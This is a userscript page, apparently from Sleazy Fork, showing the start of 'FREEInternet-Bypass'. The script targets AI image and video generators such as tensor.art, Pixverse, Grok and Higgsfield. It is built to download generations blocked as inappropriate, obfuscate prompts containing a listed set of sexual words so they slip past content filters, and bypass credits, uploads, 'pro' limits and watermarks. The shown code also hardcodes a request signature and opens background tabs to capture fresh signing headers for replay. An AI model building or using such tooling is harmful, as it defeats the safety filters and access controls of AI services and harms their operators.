Sleazy Fork is available in English.
Download generations marked as inappropriate, including images and videos. Modern professional UI with draggable panel, tabs, settings, previews, dark/light theme, and configurable network headers.
// ==UserScript==
// @name FREEInternet-Bypass
// @version 3.2.0
// @description Download generations marked as inappropriate, including images and videos. Modern professional UI with draggable panel, tabs, settings, previews, dark/light theme, and configurable network headers.
// @match https://tensor.art/*
// @match https://tensor.art
// @match https://tensorhub.art/*
// @match https://tensorhub.art
// @match https://app.pixverse.ai/*
// @match https://digen.ai/*
// @match https://www.digen.ai/*
// @match https://grok.com/*
// @match https://x.com/*
// @match https://higgsfield.ai/*
// @match https://fnf.higgsfield.ai/*
// @match *://*.hailuoai.video/*
// @match *://*.hailuoai.com/*
// @connect hailuoai.video
// @connect cdn.hailuoai.video
// @connect api.tensor.art
// @run-at document-start
// @grant GM.xmlHttpRequest
// @grant GM_registerMenuCommand
// @grant GM.cookie
// @grant unsafeWindow
// @grant GM_getValue
// @grant GM_setValue
// @grant GM.getValue
// @grant GM.setValue
// @grant GM_openInTab
// @namespace https://greasyfork.org/users/1573943
// ==/UserScript==
(function () {
'use strict';
// Domain gating: this userscript can @match other sites (e.g., Instagram) for the inject system,
// but the main Bypass UI and Tensor-specific network watchers should only run on Tensor domains.
const IS_TENSOR_DOMAIN = /(^|\.)tensor\.art$/i.test(location.hostname) || /(^|\.)tensorhub\.art$/i.test(location.hostname);
const IS_PIXVERSE_DOMAIN = /^app\.pixverse\.ai$/i.test(location.hostname);
const IS_DIGEN_DOMAIN = /(^|\.)digen\.ai$/i.test(location.hostname);
const IS_GROK_DOMAIN = /(^|\.)grok\.com$/i.test(location.hostname) || /(^|\.)x\.com$/i.test(location.hostname);
const IS_HIGGSFIELD_DOMAIN = /(^|\.)higgsfield\.ai$/i.test(location.hostname);
const IS_HAILUO_DOMAIN = /(^|\.)hailuoai\.video$/i.test(location.hostname) || /(^|\.)hailuoai\.com$/i.test(location.hostname);
const showUIOnOtherPlatfrms = false;
const EXTERNAL_PLATFORM_SETTINGS_STORE_KEY = 'freeBypassExternalPlatformSettingsV1';
const EXTERNAL_PLATFORM_SHARED_SETTING_KEYS = [
'showPixverseUi',
'showGrokUi',
'showHiggsfieldUi',
'showHailuoUi',
'pixverseEnableUiLogs',
'pixverseMaxLogs',
'pixverseEnablePromptObfuscation',
'pixverseEnableCreditsBypass',
'pixverseEnableUploadBypass',
'pixverseEnableWatermarkButton',
'pixverseCaptureMediaLinks',
'pixverseSensitiveWords',
'grokEnableUiLogs',
'grokMaxLogs',
'grokInterceptorEnabled',
'grokCaptureMediaLinks',
'higgsfieldEnableUiLogs',
'higgsfieldMaxLogs',
'higgsfieldEnablePromptObfuscation',
'higgsfieldCaptureJobs',
'higgsfieldCaptureSouls',
'higgsfieldAutoRefreshItems',
'hailuoEnableUiLogs',
'hailuoMaxLogs',
'hailuoCaptureMediaLinks',
'hailuoAutoRefreshItems'
];
// Version tracking
const SCRIPT_VERSION = '3.2.0';
const CONFIG_URL = 'https://syncore.mooo.com/host/config/';
const CONFIG_CACHE_KEY = 'freeBypassRemoteConfig';
const CONFIG_CACHE_META_KEY = 'freeBypassRemoteConfigMetaV1';
const CONFIG_CACHE_TTL = 3600000; // 1 hour
// Inject Font Awesome
const link = document.createElement('link');
link.rel = 'stylesheet';
link.href = 'https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css';
document.head.appendChild(link);
const apiUrlImage = 'https://api.tensor.art/works/v1/generation/image/download';
// Best-effort video endpoint (some backends use a dedicated path).
// If it doesn't exist, the resolver will gracefully fall back to the image endpoint.
const apiUrlVideo = 'https://api.tensor.art/works/v1/generation/video/download';
const tensorLibraryEntryListUrl = 'https://api.tensor.art/library-web/v1/entry/list';
// Back-compat alias used by older code paths.
const apiUrl = apiUrlImage;
const originalFetch = window.fetch;
let blockedItems = new Set();
let itemsData = [];
let container = null;
let isExpanded = false;
let currentTab = 'home';
let developersSubTab = localStorage.getItem('freeBypassDevelopersSubTab') || 'selectors';
if (!['inject', 'logs', 'selectors'].includes(developersSubTab)) developersSubTab = 'selectors';
let autoCheckInterval = null;
let domInjectInterval = null;
let domInjectScanCounter = 0;
const taskMap = new Map();
const itemMap = new Map();
const downloadUrlCache = new Map();
const TASK_CACHE_KEY = 'freeBypassTaskCache';
const BROKEN_REQUESTS_CACHE_KEY = 'freeBypassBrokenRequestsV1';
const TASK_ACTIONS_KEY = 'freeBypassTaskActions';
const TASK_PROFILES_KEY = 'freeBypassTaskProfiles';
const SHARED_NOTIFICATIONS_STORE_KEY = 'freeBypassSharedNotificationsV1';
// Services (remote-config-driven app/script hub)
const SERVICES_STATE_KEY = 'freeBypassServicesStateV1';
let servicesStateCache = null;
let uiRenderToken = 0;
const domInjectDebug = true;
let isResizing = false;
let resizeStart = { x: 0, y: 0, width: 0, height: 0 };
let settingsInjected = false;
let settingsCheckInterval = null;
let emptyStateStart = null;
let uiRefreshTimer = null;
let profileMenuObserver = null;
let profileMenuInterval = null;
const MEDIA_STATUS_KEY = 'freeBypassMediaStatus';
let mediaStatusCache = null;
let taskActionsCache = null;
let taskActionProcessing = false;
let taskActionQueueWakeTimer = null;
let activeBlockedTooltip = null;
let activeInjectedTooltip = null;
let downloadPreviewCache = { imageId: null, url: null, mimeType: null };
let selectedItems = new Set();
let activeContextMenu = null;
// Remote settings/platform control (populated from remote config)
let remoteSettingsControl = {}; // settingKey → { locked: bool, note: string }
let remotePlatformControl = {}; // platform → { enabled: bool }
let _discordReplaceInterval = null;
let floatingMenuSuppressUntil = 0;
let floatingMenuLastContextAt = 0;
let homeProfileFilter = localStorage.getItem('freeBypassHomeProfileFilter') || '';
let homeItemsSearchQuery = localStorage.getItem('freeBypassHomeSearchQuery') || '';
let settingsSearchQuery = localStorage.getItem('freeBypassSettingsSearchQuery') || '';
const tabScrollPositions = {};
const tabContentCache = new Map();
const forcePreviewLoaders = new Map();
// Shared/Crosee Network Save runtime state
const SHARED_NETWORK_MAX_LOGS = 800;
const sharedNetworkLogs = [];
let sharedNetworkProgress = { visible: false, current: 0, total: 0, label: '' };
let sharedNetworkHttpStatus = { ok: null, checkedAt: null, error: null, status: null };
let sharedNetworkWs = null;
let sharedNetworkWsState = { status: 'disconnected', url: null, lastError: null, lastMessageAt: null };
let sharedNetworkWsConnectPromise = null;
let sharedNetworkLastSent = null;
let sharedNetworkLastSentAt = null;
let sharedNetworkLastWire = null;
let sharedNetworkTabRefreshQueued = false;
// Broken requests cache: loaded once at startup, mutated at runtime, persisted on change.
// Key: `${url}|${sortedPayloadJson}` Value: { url, payload, status, cachedAt }
let brokenRequestsCache = {};
try {
brokenRequestsCache = JSON.parse(localStorage.getItem(BROKEN_REQUESTS_CACHE_KEY) || '{}') || {};
} catch { brokenRequestsCache = {}; }
const defaultSettings = {
preview: false,
autoDownload: false,
autoExpand: true,
autoShowPanel: false,
autoCheck: false,
autoCheckInterval: 30,
xhrInterceptEnabled: false,
autoRecheckLinksOnLoad: false,
errorDetectionEnabled: false,
promptBypassEnabled: false,
communityShareEnabled: false,
communityShowOnHome: true,
// Broken Requests Cache
brokenRequestsCacheEnabled: true,
brokenRequestsCacheStatusCodes: [405, 403],
promptBypassWords: [
'deep', 'throat', 'throats', 'blowjob', 'fellatio', 'fuck', 'fucking', 'pussy', 'cock', 'dick',
'tits', 'boobs', 'asshole', 'shit', 'suck', 'sucks', 'sucking', 'penis', 'vagina', 'anus', 'breasts',
'sex', 'intercourse', 'oral', 'anal', 'nsfw', 'nude', 'naked', 'cum', 'creampie', 'orgasm'
],
promptBypassDynamicDetect: true,
promptBypassDebugZeroCredit: false,
tensorInterceptEnableUiLogs: true,
tensorInterceptMaxLogs: 600,
tensorInjectTelegramButtons: false,
tensorInjectDiscordButtons: false,
injectOnDom: false,
injectBlockedOnly: false,
safeViewMode: true,
showVideoModal: false,
// Announcements (remote config)
// When false: suppress non-required announcement modals/banners.
// Required announcements / required updates still show.
showAnnouncements: true,
showBlockedTooltip: false,
showBlockedTooltipPreview: false,
keepBlockedTooltipOpen: false,
showInjectedHelpTooltips: false,
showDownloadPreview: false,
showBypassedLink: true,
enableCopyBypassedLinks: false,
copyInjectOnPage: false,
showDetailedInfo: true,
detailedInfoFields: {
taskId: true,
dates: true,
size: true,
mimeType: true,
sourceUrl: true,
workflow: true,
visualParameters: true,
parameters: false
},
sendAllTasksTelegram: true,
sendAllTasksDiscord: true,
sendAllTasksDownload: true,
preventDuplicateTasks: true,
inheritTheme: true,
theme: 'dark',
viewMode: 'cards',
cartColumns: 2,
forceTasksAcrossAccounts: false,
// Developer mode
developerModeEnabled: false,
developerEnableInjectSystem: false,
developerMaxLogs: 500,
// Floating panel fullscreen
fullscreen: false,
positionBeforeFullscreen: null,
position: { top: '50px', right: '20px', width: '420px', height: '600px' },
headers: {
'X-Request-Package-Sign-Version': '0.0.1',
'X-Request-Package-Id': '3000',
'X-Request-Timestamp': '1766394106674',
'X-Request-Sign': 'NDc3MTZiZDc2MDlhOWJlMTQ1YTMxNjgwYzE4NzljMDRjNTQ3ZTgzMjUyNjk1YTE5YzkzYzdhOGNmYWJiYTI1NA==',
'X-Request-Lang': 'en-US',
'X-Request-Sign-Type': 'HMAC_SHA256',
'X-Request-Sign-Version': 'v1'
},
cachingEnabled: true,
cacheDuration: 7,
// If a video download resolves to an image payload (thumbnail), retry via video resolver.
verifyMediaDownloads: true,
telegramEnabled: false,
telegramToken: '',
telegramChatId: '',
telegramDelaySeconds: 0,
// Telegram reliability options
// off: do not upload; fallback: upload only if URL send fails; always: always upload the file
telegramUploadMode: 'fallback',
telegramMaxUploadBytes: 45 * 1024 * 1024,
telegramIncludeData: { taskId: true, date: true, toolName: true, imageSize: true },
discordEnabled: false,
discordWebhook: '',
// Queue retries/backoff (professional sending)
queueAutoRetry: true,
queueMaxRetries: 2,
queueRetryBaseDelayMs: 2000,
queueRetryMaxDelayMs: 60000,
queueRetryJitterMs: 350,
autoTaskDetection: true,
tensorhubLinkerEnabled: false,
tensorhubLinkUserTokens: true,
tensorhubLinkTasks: false,
tensorhubShareSettings: false,
runOnTensorHub: false,
enableTaskProfilesCreation: false,
taskProfileAddMethod: 'copy',
// Pixverse
showPixverseUi: false,
pixverseEnableUiLogs: true,
pixverseMaxLogs: 500,
pixverseEnablePromptObfuscation: true,
pixverseEnableCreditsBypass: false,
pixverseEnableUploadBypass: true,
pixverseEnableWatermarkButton: true,
pixverseCaptureMediaLinks: true,
pixverseSensitiveWords: [
'deep', 'throat', 'throats', 'blowjob', 'fellatio', 'fuck', 'fucking', 'pussy', 'cock', 'dick',
'tits', 'boobs', 'asshole', 'shit', 'suck', 'sucks', 'sucking', 'penis', 'vagina', 'anus', 'breasts',
'sex', 'intercourse', 'oral', 'anal', 'nsfw'
],
// Digen
digenEnableUiLogs: true,
digenMaxLogs: 500,
digenEnableProBypass: true,
digenCaptureItems: true,
digenAutoRefreshItems: true,
// Grok
showGrokUi: false,
grokEnableUiLogs: true,
grokMaxLogs: 500,
grokInterceptorEnabled: true,
grokCaptureMediaLinks: true,
// Higgsfield
showHiggsfieldUi: false,
higgsfieldEnableUiLogs: true,
higgsfieldMaxLogs: 500,
higgsfieldEnablePromptObfuscation: true,
higgsfieldCaptureJobs: true,
higgsfieldCaptureSouls: true,
higgsfieldAutoRefreshItems: true,
// Hailuo
showHailuoUi: false,
hailuoEnableUiLogs: true,
hailuoMaxLogs: 500,
hailuoCaptureMediaLinks: true,
hailuoAutoRefreshItems: true,
// Shared/Crosee Network Save
// Safely share/export cached tasks to a trusted host on your network.
sharedNetworkEnabled: false,
sharedNetworkHost: 'http://127.0.0.1:8787',
sharedNetworkMethod: 'http', // http | ws
sharedNetworkHttpUploadPath: '/shared-network/save',
sharedNetworkHttpHealthPath: '/shared-network/health',
sharedNetworkHttpCommandPath: '/shared-network/command',
sharedNetworkWsUrl: 'ws://127.0.0.1:8787/shared-network/ws',
sharedNetworkPayloadMode: 'file', // file | text
sharedNetworkIncludeUserId: true,
sharedNetworkIncludePageContext: true,
sharedNetworkIncludeTensorHeaders: false,
sharedNetworkRemoteControlEnabled: false,
hiddenItems: JSON.parse(localStorage.getItem('freeBypassHiddenItems') || '[]'),
noRegainItems: JSON.parse(localStorage.getItem('freeBypassNoRegainItems') || '[]')
};
let loadedSettings = JSON.parse(localStorage.getItem('freeBypassSettings')) || {};
let settings = {
...defaultSettings,
...loadedSettings,
headers: { ...defaultSettings.headers, ...(loadedSettings.headers || {}) },
position: { ...defaultSettings.position, ...(loadedSettings.position || {}) },
telegramIncludeData: { ...defaultSettings.telegramIncludeData, ...(loadedSettings.telegramIncludeData || {}) },
detailedInfoFields: { ...defaultSettings.detailedInfoFields, ...(loadedSettings.detailedInfoFields || {}) }
};
// Backfill new settings if old storage doesn't have them.
if (typeof settings.developerModeEnabled !== 'boolean') settings.developerModeEnabled = defaultSettings.developerModeEnabled;
if (typeof settings.developerEnableInjectSystem !== 'boolean') settings.developerEnableInjectSystem = defaultSettings.developerEnableInjectSystem;
if (typeof settings.developerMaxLogs !== 'number' || !Number.isFinite(settings.developerMaxLogs) || settings.developerMaxLogs < 50) settings.developerMaxLogs = defaultSettings.developerMaxLogs;
if (typeof settings.fullscreen !== 'boolean') settings.fullscreen = defaultSettings.fullscreen;
if (typeof settings.positionBeforeFullscreen !== 'object') settings.positionBeforeFullscreen = defaultSettings.positionBeforeFullscreen;
if (typeof settings.verifyMediaDownloads !== 'boolean') settings.verifyMediaDownloads = defaultSettings.verifyMediaDownloads;
if (typeof settings.showAnnouncements !== 'boolean') settings.showAnnouncements = defaultSettings.showAnnouncements;
if (!['off', 'fallback', 'always'].includes(settings.telegramUploadMode)) settings.telegramUploadMode = defaultSettings.telegramUploadMode;
if (typeof settings.telegramMaxUploadBytes !== 'number' || !Number.isFinite(settings.telegramMaxUploadBytes) || settings.telegramMaxUploadBytes < 1024 * 1024) settings.telegramMaxUploadBytes = defaultSettings.telegramMaxUploadBytes;
if (typeof settings.queueAutoRetry !== 'boolean') settings.queueAutoRetry = defaultSettings.queueAutoRetry;
if (typeof settings.queueMaxRetries !== 'number' || !Number.isFinite(settings.queueMaxRetries) || settings.queueMaxRetries < 0) settings.queueMaxRetries = defaultSettings.queueMaxRetries;
if (typeof settings.queueRetryBaseDelayMs !== 'number' || !Number.isFinite(settings.queueRetryBaseDelayMs) || settings.queueRetryBaseDelayMs < 0) settings.queueRetryBaseDelayMs = defaultSettings.queueRetryBaseDelayMs;
if (typeof settings.queueRetryMaxDelayMs !== 'number' || !Number.isFinite(settings.queueRetryMaxDelayMs) || settings.queueRetryMaxDelayMs < 0) settings.queueRetryMaxDelayMs = defaultSettings.queueRetryMaxDelayMs;
if (typeof settings.queueRetryJitterMs !== 'number' || !Number.isFinite(settings.queueRetryJitterMs) || settings.queueRetryJitterMs < 0) settings.queueRetryJitterMs = defaultSettings.queueRetryJitterMs;
if (typeof settings.sharedNetworkEnabled !== 'boolean') settings.sharedNetworkEnabled = defaultSettings.sharedNetworkEnabled;
if (typeof settings.sharedNetworkHost !== 'string' || !settings.sharedNetworkHost.trim()) settings.sharedNetworkHost = defaultSettings.sharedNetworkHost;
if (!['http', 'ws'].includes(settings.sharedNetworkMethod)) settings.sharedNetworkMethod = defaultSettings.sharedNetworkMethod;
if (typeof settings.sharedNetworkHttpUploadPath !== 'string' || !settings.sharedNetworkHttpUploadPath.trim()) settings.sharedNetworkHttpUploadPath = defaultSettings.sharedNetworkHttpUploadPath;
if (typeof settings.sharedNetworkHttpHealthPath !== 'string' || !settings.sharedNetworkHttpHealthPath.trim()) settings.sharedNetworkHttpHealthPath = defaultSettings.sharedNetworkHttpHealthPath;
if (typeof settings.sharedNetworkHttpCommandPath !== 'string' || !settings.sharedNetworkHttpCommandPath.trim()) settings.sharedNetworkHttpCommandPath = defaultSettings.sharedNetworkHttpCommandPath;
if (typeof settings.sharedNetworkWsUrl !== 'string' || !settings.sharedNetworkWsUrl.trim()) settings.sharedNetworkWsUrl = defaultSettings.sharedNetworkWsUrl;
if (!['file', 'text'].includes(settings.sharedNetworkPayloadMode)) settings.sharedNetworkPayloadMode = defaultSettings.sharedNetworkPayloadMode;
if (typeof settings.sharedNetworkIncludeUserId !== 'boolean') settings.sharedNetworkIncludeUserId = defaultSettings.sharedNetworkIncludeUserId;
if (typeof settings.sharedNetworkIncludePageContext !== 'boolean') settings.sharedNetworkIncludePageContext = defaultSettings.sharedNetworkIncludePageContext;
if (typeof settings.sharedNetworkIncludeTensorHeaders !== 'boolean') settings.sharedNetworkIncludeTensorHeaders = defaultSettings.sharedNetworkIncludeTensorHeaders;
if (typeof settings.sharedNetworkRemoteControlEnabled !== 'boolean') settings.sharedNetworkRemoteControlEnabled = defaultSettings.sharedNetworkRemoteControlEnabled;
if (typeof settings.showPixverseUi !== 'boolean') settings.showPixverseUi = defaultSettings.showPixverseUi;
if (typeof settings.pixverseEnableUiLogs !== 'boolean') settings.pixverseEnableUiLogs = defaultSettings.pixverseEnableUiLogs;
if (typeof settings.pixverseEnablePromptObfuscation !== 'boolean') settings.pixverseEnablePromptObfuscation = defaultSettings.pixverseEnablePromptObfuscation;
if (typeof settings.pixverseEnableCreditsBypass !== 'boolean') settings.pixverseEnableCreditsBypass = defaultSettings.pixverseEnableCreditsBypass;
if (typeof settings.pixverseEnableUploadBypass !== 'boolean') settings.pixverseEnableUploadBypass = defaultSettings.pixverseEnableUploadBypass;
if (typeof settings.pixverseEnableWatermarkButton !== 'boolean') settings.pixverseEnableWatermarkButton = defaultSettings.pixverseEnableWatermarkButton;
if (typeof settings.pixverseCaptureMediaLinks !== 'boolean') settings.pixverseCaptureMediaLinks = defaultSettings.pixverseCaptureMediaLinks;
if (typeof settings.pixverseMaxLogs !== 'number' || !Number.isFinite(settings.pixverseMaxLogs) || settings.pixverseMaxLogs < 50) settings.pixverseMaxLogs = defaultSettings.pixverseMaxLogs;
if (!Array.isArray(settings.pixverseSensitiveWords)) settings.pixverseSensitiveWords = [...defaultSettings.pixverseSensitiveWords];
settings.pixverseSensitiveWords = settings.pixverseSensitiveWords.map(v => String(v || '').trim()).filter(Boolean);
if (typeof settings.digenEnableUiLogs !== 'boolean') settings.digenEnableUiLogs = defaultSettings.digenEnableUiLogs;
if (typeof settings.digenEnableProBypass !== 'boolean') settings.digenEnableProBypass = defaultSettings.digenEnableProBypass;
if (typeof settings.digenCaptureItems !== 'boolean') settings.digenCaptureItems = defaultSettings.digenCaptureItems;
if (typeof settings.digenAutoRefreshItems !== 'boolean') settings.digenAutoRefreshItems = defaultSettings.digenAutoRefreshItems;
if (typeof settings.digenMaxLogs !== 'number' || !Number.isFinite(settings.digenMaxLogs) || settings.digenMaxLogs < 50) settings.digenMaxLogs = defaultSettings.digenMaxLogs;
if (typeof settings.showGrokUi !== 'boolean') settings.showGrokUi = defaultSettings.showGrokUi;
if (typeof settings.grokEnableUiLogs !== 'boolean') settings.grokEnableUiLogs = defaultSettings.grokEnableUiLogs;
if (typeof settings.grokInterceptorEnabled !== 'boolean') settings.grokInterceptorEnabled = defaultSettings.grokInterceptorEnabled;
if (typeof settings.grokCaptureMediaLinks !== 'boolean') settings.grokCaptureMediaLinks = defaultSettings.grokCaptureMediaLinks;
if (typeof settings.grokMaxLogs !== 'number' || !Number.isFinite(settings.grokMaxLogs) || settings.grokMaxLogs < 50) settings.grokMaxLogs = defaultSettings.grokMaxLogs;
if (typeof settings.showHiggsfieldUi !== 'boolean') settings.showHiggsfieldUi = defaultSettings.showHiggsfieldUi;
if (typeof settings.higgsfieldEnableUiLogs !== 'boolean') settings.higgsfieldEnableUiLogs = defaultSettings.higgsfieldEnableUiLogs;
if (typeof settings.higgsfieldEnablePromptObfuscation !== 'boolean') settings.higgsfieldEnablePromptObfuscation = defaultSettings.higgsfieldEnablePromptObfuscation;
if (typeof settings.higgsfieldCaptureJobs !== 'boolean') settings.higgsfieldCaptureJobs = defaultSettings.higgsfieldCaptureJobs;
if (typeof settings.higgsfieldCaptureSouls !== 'boolean') settings.higgsfieldCaptureSouls = defaultSettings.higgsfieldCaptureSouls;
if (typeof settings.higgsfieldAutoRefreshItems !== 'boolean') settings.higgsfieldAutoRefreshItems = defaultSettings.higgsfieldAutoRefreshItems;
if (typeof settings.higgsfieldMaxLogs !== 'number' || !Number.isFinite(settings.higgsfieldMaxLogs) || settings.higgsfieldMaxLogs < 50) settings.higgsfieldMaxLogs = defaultSettings.higgsfieldMaxLogs;
if (typeof settings.showHailuoUi !== 'boolean') settings.showHailuoUi = defaultSettings.showHailuoUi;
if (typeof settings.hailuoEnableUiLogs !== 'boolean') settings.hailuoEnableUiLogs = defaultSettings.hailuoEnableUiLogs;
if (typeof settings.hailuoCaptureMediaLinks !== 'boolean') settings.hailuoCaptureMediaLinks = defaultSettings.hailuoCaptureMediaLinks;
if (typeof settings.hailuoAutoRefreshItems !== 'boolean') settings.hailuoAutoRefreshItems = defaultSettings.hailuoAutoRefreshItems;
if (typeof settings.hailuoMaxLogs !== 'number' || !Number.isFinite(settings.hailuoMaxLogs) || settings.hailuoMaxLogs < 50) settings.hailuoMaxLogs = defaultSettings.hailuoMaxLogs;
if (typeof settings.xhrInterceptEnabled !== 'boolean') settings.xhrInterceptEnabled = defaultSettings.xhrInterceptEnabled;
if (typeof settings.autoRecheckLinksOnLoad !== 'boolean') settings.autoRecheckLinksOnLoad = defaultSettings.autoRecheckLinksOnLoad;
if (typeof settings.errorDetectionEnabled !== 'boolean') settings.errorDetectionEnabled = defaultSettings.errorDetectionEnabled;
if (typeof settings.promptBypassEnabled !== 'boolean') settings.promptBypassEnabled = defaultSettings.promptBypassEnabled;
if (typeof settings.communityShareEnabled !== 'boolean') settings.communityShareEnabled = defaultSettings.communityShareEnabled;
if (typeof settings.communityShowOnHome !== 'boolean') settings.communityShowOnHome = defaultSettings.communityShowOnHome;
if (typeof settings.brokenRequestsCacheEnabled !== 'boolean') settings.brokenRequestsCacheEnabled = defaultSettings.brokenRequestsCacheEnabled;
if (!Array.isArray(settings.brokenRequestsCacheStatusCodes)) settings.brokenRequestsCacheStatusCodes = [...defaultSettings.brokenRequestsCacheStatusCodes];
settings.brokenRequestsCacheStatusCodes = settings.brokenRequestsCacheStatusCodes.map(v => Number(v)).filter(v => Number.isFinite(v) && v > 0);
if (!Array.isArray(settings.promptBypassWords)) settings.promptBypassWords = [...defaultSettings.promptBypassWords];
settings.promptBypassWords = settings.promptBypassWords.map(v => String(v || '').trim().toLowerCase()).filter(Boolean);
if (typeof settings.promptBypassDynamicDetect !== 'boolean') settings.promptBypassDynamicDetect = defaultSettings.promptBypassDynamicDetect;
if (typeof settings.promptBypassDebugZeroCredit !== 'boolean') settings.promptBypassDebugZeroCredit = defaultSettings.promptBypassDebugZeroCredit;
if (typeof settings.tensorInterceptEnableUiLogs !== 'boolean') settings.tensorInterceptEnableUiLogs = defaultSettings.tensorInterceptEnableUiLogs;
if (typeof settings.tensorInterceptMaxLogs !== 'number' || !Number.isFinite(settings.tensorInterceptMaxLogs) || settings.tensorInterceptMaxLogs < 50) settings.tensorInterceptMaxLogs = defaultSettings.tensorInterceptMaxLogs;
if (typeof settings.tensorInjectTelegramButtons !== 'boolean') settings.tensorInjectTelegramButtons = defaultSettings.tensorInjectTelegramButtons;
if (typeof settings.tensorInjectDiscordButtons !== 'boolean') settings.tensorInjectDiscordButtons = defaultSettings.tensorInjectDiscordButtons;
if (typeof settings.injectBlockedOnly !== 'boolean') settings.injectBlockedOnly = defaultSettings.injectBlockedOnly;
if (typeof settings.autoShowPanel !== 'boolean') {
settings.autoShowPanel = typeof settings.autoExpand === 'boolean' ? settings.autoExpand : defaultSettings.autoShowPanel;
}
if (settings.xhrInterceptEnabled) {
settings.injectOnDom = false;
settings.safeViewMode = false;
}
if (settings.safeViewMode && settings.injectOnDom) {
settings.injectOnDom = false;
}
if (IS_TENSOR_DOMAIN) {
try {
initTensorSiteRequestListeners();
} catch {
// ignore early init failures; the guarded late init still runs as fallback
}
}
loadSharedExternalPlatformSettings();
// Cross-domain settings sync for notifications (Tensor/Pixverse/Digen).
// This uses userscript global storage so values are not tied to site localStorage origin.
bootstrapSharedNotificationSettings();
let userToken = null;
// Fresh X-Request-* signing headers observed from the site's own API calls.
// Updated on every intercepted fetch so GM.xmlHttpRequest can use current signatures.
let lastObservedTensorSigningHeaders = null;
// Fresh X-Request-* signing headers cached per API endpoint path.
// Key = path segment after api.tensor.art/ e.g. 'library-web/v1/entry/list'.
// Signature covers the full URL, so reusing headers from a DIFFERENT endpoint
// will always fail (405 SYSTEM.FAIL). Per-path caching solves this.
const tensorSigningHeadersByPath = {};
const TENSOR_SIGNING_HEADER_TTL = 4 * 60 * 1000; // 4 minutes
// IDs added to library automatically during warmup clicks, so we can clean them up later.
const tensorWarmupCreatedIds = [];
// ── Library Assign Feature state ─────────────────────────────────────────
// Callback invoked with imageId when the page XHR intercept catches entry/create.
let _libraryAssignPendingCallback = null;
// Window reference for the open tensor.art/library tab (for focus + reload).
let _libraryTabRef = null;
// Set of imageIds confirmed-added to library via our pluscircle click feature.
const _libraryAssignedIds = new Set();
// Library entry data from entry/list responses. generationImageId == entry id (confirmed).
const tensorLibraryEntryMap = {}; // entryId -> full entry object
// The original (pre-obfuscation) works/task request body — used for auto-retry tiers.
let _pbtLastOriginalBody = null;
const tensorLibraryPathToEntryId = {}; // originalPath -> entryId (for DOM card matching)
// BroadcastChannel so warmup tabs can send captured headers back to the calling tab.
const TENSOR_WARMUP_BC_NAME = 'freeinternet_tensor_warmup_v1';
let tensorWarmupBC = null;
try { tensorWarmupBC = new BroadcastChannel(TENSOR_WARMUP_BC_NAME); } catch { /* not available (e.g. non-browser) */ }
if (tensorWarmupBC) {
tensorWarmupBC.onmessage = function(ev) {
try {
const d = ev && ev.data;
if (d && d.type === 'headers_captured' && d.path && d.headers) {
tensorSigningHeadersByPath[d.path] = { headers: d.headers, ts: d.ts || Date.now() };
// If the warmup tab also sent the imageId it added, remember it for cleanup.
if (d.path === 'library-web/v1/entry/create' && d.imageId &&
!tensorWarmupCreatedIds.includes(d.imageId)) {
tensorWarmupCreatedIds.push(d.imageId);
// Mirror into the page-exposed array (accessible in DevTools)
try {
const pw = typeof unsafeWindow !== 'undefined' ? unsafeWindow : window;
if (pw.tensorWarmupCreatedIds && !pw.tensorWarmupCreatedIds.includes(d.imageId))
pw.tensorWarmupCreatedIds.push(d.imageId);
} catch { /* ignore */ }
tensorInterceptLog('info', 'Warmup: stored imageId added to library for later cleanup', { imageId: d.imageId, total: tensorWarmupCreatedIds.length });
}
}
} catch { /* ignore */ }
};
}
/**
* Ensure fresh signing headers are cached for `path`.
* If headers are stale, opens a background tensor.art tab that auto-captures
* the headers, then resolves once the BroadcastChannel delivers them.
* @param {'library-web/v1/entry/list'|'library-web/v1/entry/create'} path
* @returns {Promise<{ok:boolean, headers:object|null, cached:boolean, reason?:string}>}
*/
async function ensureTensorSigningHeaders(path) {
const entry = tensorSigningHeadersByPath[path];
if (entry && (Date.now() - entry.ts) < TENSOR_SIGNING_HEADER_TTL) {
return { ok: true, headers: entry.headers, cached: true };
}
return new Promise((resolve) => {
let newTab = null;
// create: 3 attempts × 22 s each + 3 s initial delay + 3 s between retries ≈ 75 s max
const TIMEOUT_MS = path === 'library-web/v1/entry/create' ? 75000 : 12000;
const timer = setTimeout(() => cleanup(false, 'timeout'), TIMEOUT_MS);
const onBC = (ev) => {
try {
const d = ev && ev.data;
if (d && d.type === 'headers_captured' && d.path === path) {
cleanup(true);
}
} catch { /* ignore */ }
};
const cleanup = (ok, reason) => {
clearTimeout(timer);
if (tensorWarmupBC) tensorWarmupBC.removeEventListener('message', onBC);
try { if (newTab && typeof newTab.close === 'function') newTab.close(); } catch { /* ignore */ }
const fresh = tensorSigningHeadersByPath[path];
resolve({ ok: !!ok, headers: ok && fresh ? fresh.headers : null, cached: false, reason: reason || undefined });
};
if (tensorWarmupBC) tensorWarmupBC.addEventListener('message', onBC);
try {
const hash = path === 'library-web/v1/entry/create'
? '#freeinternet-tensor-warm-create'
: '#freeinternet-tensor-warm-library';
const url = path === 'library-web/v1/entry/create'
? 'https://tensor.art/' + hash
: 'https://tensor.art/library' + hash;
const pageWindow = typeof unsafeWindow !== 'undefined' ? unsafeWindow : window;
if (typeof GM_openInTab === 'function') {
newTab = GM_openInTab(url, { active: true, insert: true });
} else {
newTab = pageWindow.open(url, '_blank', 'width=800,height=600');
try { if (newTab) newTab.focus(); } catch { /* ignore */ }
}
} catch (e) {
cleanup(false, 'tab-open-failed: ' + String(e && e.message || e));
}
});
}
// Diagnostics: track which bearer token was used for the last API call.
// (Helps debug multi-account mode + cached tasks.)
let lastAuthTokenUsed = null;
let lastAuthTokenUsedAt = null;
let lastAuthTokenUsedContext = null;
const urlCache = new Map();
const cacheTimestamps = new Map();
// ── Batch Download URL Queue ────────────────────────────────────────────────
// Instead of one HTTP request per image ID, we queue IDs and send them in
// batches of DOWNLOAD_URL_BATCH_SIZE (up to 50 supported by the API).
// A 60ms debounce collects IDs that pile up synchronously (e.g. Promise.all),
// then flushes in groups of 30 with a 1-second pause between batches.
const DOWNLOAD_URL_BATCH_SIZE = 30;
const DOWNLOAD_URL_BATCH_DEBOUNCE_MS = 60;
const DOWNLOAD_URL_BATCH_INTERVAL_MS = 1000;
const _downloadUrlBatchQueue = new Map(); // imageId → {resolve, reject, mimeTypeHint, forceKind}
let _downloadUrlBatchFlushTimer = null;
let _downloadUrlBatchFlushing = false;
// ────────────────────────────────────────────────────────────────────────────
// Persistent download URL cache (video-only to reduce localStorage pressure)
const DOWNLOAD_URL_CACHE_STORAGE_KEY = 'freeBypassDownloadUrlCacheV2';
